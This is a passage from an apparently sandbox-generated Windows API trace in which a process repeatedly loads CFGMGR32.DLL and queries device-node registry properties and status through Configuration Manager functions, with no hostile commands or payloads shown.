lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0215.264] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0215.265] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0215.265] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0215.265] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0215.266] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0215.266] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0215.266] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0215.266] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0215.266] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0215.266] malloc (_Size=0x18) returned 0x196ef0d2080 [0215.266] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0xa, ulProperty=0x2, pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608) returned 0x1a [0215.267] malloc (_Size=0x5a) returned 0x196ef0d0370 [0215.267] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0xa, ulProperty=0x2, pulRegDataType=0x67117d570, Buffer=0x196ef0d0370, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x196ef0d0370, pulLength=0x67117d608) returned 0x0 [0215.267] free (_Block=0x196ef0d0370) [0215.267] malloc (_Size=0x48) returned 0x196ef0fb220 [0215.267] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d4d0 | out: lpSystemTimeAsFileTime=0x67117d4d0*(dwLowDateTime=0x612aaeb2, dwHighDateTime=0x1d9eb0c)) [0215.268] SetEvent (hEvent=0x248) returned 1 [0215.270] malloc (_Size=0x18) returned 0x196ef0d1ba0 [0215.270] SafeArrayPutElement (psa=0x196ef1f2430, rgIndices=0x67117d6d8, pv=0x196ee7bd818) returned 0x0 [0215.270] free (_Block=0x196ef0d1ba0) [0215.270] malloc (_Size=0x18) returned 0x196ef0d20a0 [0215.270] SafeArrayPutElement (psa=0x196ef1f2430, rgIndices=0x67117d6d8, pv=0x196ee7bd818) returned 0x0 [0215.270] free (_Block=0x196ef0d20a0) [0215.270] malloc (_Size=0x18) returned 0x196ef0d1d60 [0215.270] SafeArrayPutElement (psa=0x196ef1f2430, rgIndices=0x67117d6d8, pv=0x196ee7c7678) returned 0x0 [0215.270] free (_Block=0x196ef0d1d60) [0215.271] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x78) returned 0x196ee854f60 [0215.271] SafeArrayGetDim (psa=0x196ef1f2430) returned 0x1 [0215.271] SafeArrayGetLBound (in: psa=0x196ef1f2430, nDim=0x1, plLbound=0x67117d3a0 | out: plLbound=0x67117d3a0) returned 0x0 [0215.271] SafeArrayGetUBound (in: psa=0x196ef1f2430, nDim=0x1, plUbound=0x67117d3c0 | out: plUbound=0x67117d3c0) returned 0x0 [0215.271] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x28) returned 0x196ee7aa8c0 [0215.271] SafeArrayGetDim (psa=0x196ef1f2430) returned 0x1 [0215.271] SafeArrayGetUBound (in: psa=0x196ef1f2430, nDim=0x1, plUbound=0x67117d368 | out: plUbound=0x67117d368) returned 0x0 [0215.271] SafeArrayGetElemsize (psa=0x196ef1f2430) returned 0x8 [0215.271] SafeArrayGetElement (in: psa=0x196ef1f2430, rgIndices=0x67117d258, pv=0x67117d260 | out: pv=0x67117d260) returned 0x0 [0215.271] memcpy (in: _Dst=0x67117d268, _Src=0x196ee85e5b0, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0215.272] memcpy (in: _Dst=0x67117d268, _Src=0x196ee85e5b8, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0215.272] memcpy (in: _Dst=0x67117d268, _Src=0x196ee85e5c0, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0215.272] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee7aa8c0) returned 1 [0215.273] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee854f60) returned 1 [0215.273] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0215.273] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0215.273] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0215.273] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0215.274] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0215.274] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0215.274] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0215.274] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0215.274] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0215.274] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0215.274] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0215.275] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0215.275] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0215.275] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0215.275] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0215.275] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0215.275] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0215.275] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0215.275] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0215.276] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0215.276] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0215.276] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0215.276] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0215.276] malloc (_Size=0x18) returned 0x196ef0d1fa0 [0215.276] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0xa, ulProperty=0x3, pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608) returned 0x25 [0215.276] malloc (_Size=0x48) returned 0x196ef0fbae0 [0215.277] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d4d0 | out: lpSystemTimeAsFileTime=0x67117d4d0*(dwLowDateTime=0x612aaeb2, dwHighDateTime=0x1d9eb0c)) [0215.277] SetEvent (hEvent=0x248) returned 1 [0215.279] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0215.279] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0215.279] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0215.279] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0215.280] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0215.280] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0215.280] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0215.280] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0215.280] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0215.281] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0215.281] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0215.281] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0215.281] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0215.281] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0215.281] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0215.282] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0215.282] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0215.282] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0215.282] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0215.282] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0215.282] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0215.283] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0215.283] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0215.283] malloc (_Size=0x18) returned 0x196ef0d1bc0 [0215.283] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0xa, ulProperty=0xc, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0215.460] malloc (_Size=0x48) returned 0x196ef0fbb30 [0215.460] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x61474aad, dwHighDateTime=0x1d9eb0c)) [0215.461] SetEvent (hEvent=0x248) returned 1 [0215.465] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0215.465] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0215.466] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0215.466] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0215.466] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0215.466] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0215.466] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0215.466] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0215.466] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0215.467] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0215.467] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0215.467] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0215.467] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0215.467] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0215.467] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0215.467] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0215.468] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0215.468] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0215.468] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0215.468] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0215.468] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0215.468] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0215.469] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0215.469] malloc (_Size=0x18) returned 0x196ef0d1da0 [0215.469] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0xa, ulProperty=0x9, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0215.469] malloc (_Size=0x48) returned 0x196ef0fb950 [0215.469] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x6149ac9b, dwHighDateTime=0x1d9eb0c)) [0215.470] SetEvent (hEvent=0x248) returned 1 [0215.473] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0215.473] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0215.473] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0215.473] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0215.474] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0215.474] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0215.474] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0215.474] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0215.474] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0215.475] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0215.475] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0215.475] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0215.475] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0215.475] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0215.476] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0215.476] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0215.476] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0215.476] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0215.477] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0215.477] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0215.477] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0215.477] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0215.477] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0215.477] malloc (_Size=0x18) returned 0x196ef0d1d60 [0215.478] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0xa, ulProperty=0x8, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0215.478] malloc (_Size=0x48) returned 0x196ef0fba40 [0215.478] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x6149ac9b, dwHighDateTime=0x1d9eb0c)) [0215.479] SetEvent (hEvent=0x248) returned 1 [0215.482] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0215.482] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0215.483] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0215.483] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0215.483] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0215.483] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0215.484] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0215.484] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0215.484] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0215.484] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0215.484] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0215.484] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0215.484] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0215.485] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0215.485] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0215.485] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0215.485] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0215.485] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0215.485] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0215.486] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0215.486] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0215.486] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0215.486] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0215.486] malloc (_Size=0x18) returned 0x196ef0d1e20 [0215.486] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0xa, ulProperty=0x5, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x25 [0215.487] malloc (_Size=0x48) returned 0x196ef0fb7c0 [0215.487] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x614c0f83, dwHighDateTime=0x1d9eb0c)) [0215.487] SetEvent (hEvent=0x248) returned 1 [0215.492] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0215.492] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0215.492] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0215.492] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0215.492] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0215.493] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0215.493] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0215.493] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0215.493] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0215.493] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0215.493] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0215.494] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0215.494] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0215.494] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0215.494] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0215.494] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0215.494] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0215.494] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0215.495] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0215.495] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0215.495] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0215.496] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0215.496] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0215.496] malloc (_Size=0x18) returned 0x196ef0d1960 [0215.496] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0xa, ulProperty=0x1, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0215.500] malloc (_Size=0x48) returned 0x196ef0fbfe0 [0215.500] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x614e6fca, dwHighDateTime=0x1d9eb0c)) [0215.500] SetEvent (hEvent=0x248) returned 1 [0215.658] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0215.658] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0215.659] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0215.659] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0215.659] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0215.659] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0215.659] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0215.660] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0215.660] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0215.660] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0215.660] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0215.660] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0215.660] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0215.660] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0215.661] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0215.661] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0215.661] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0215.661] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0215.661] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0215.661] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0215.661] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0215.662] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0215.662] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0215.662] malloc (_Size=0x18) returned 0x196ef0d1e20 [0215.662] CM_Get_DevNode_Status (in: pulStatus=0x67117d608, pulProblemNumber=0x67117d5b0, dnDevInst=0xa, ulFlags=0x0 | out: pulStatus=0x67117d608, pulProblemNumber=0x67117d5b0) returned 0x0 [0215.662] malloc (_Size=0x48) returned 0x196ef0fb8b0 [0215.662] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d530 | out: lpSystemTimeAsFileTime=0x67117d530*(dwLowDateTime=0x616648f4, dwHighDateTime=0x1d9eb0c)) [0215.662] SetEvent (hEvent=0x248) returned 1 [0215.668] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0215.668] LoadLibraryExW 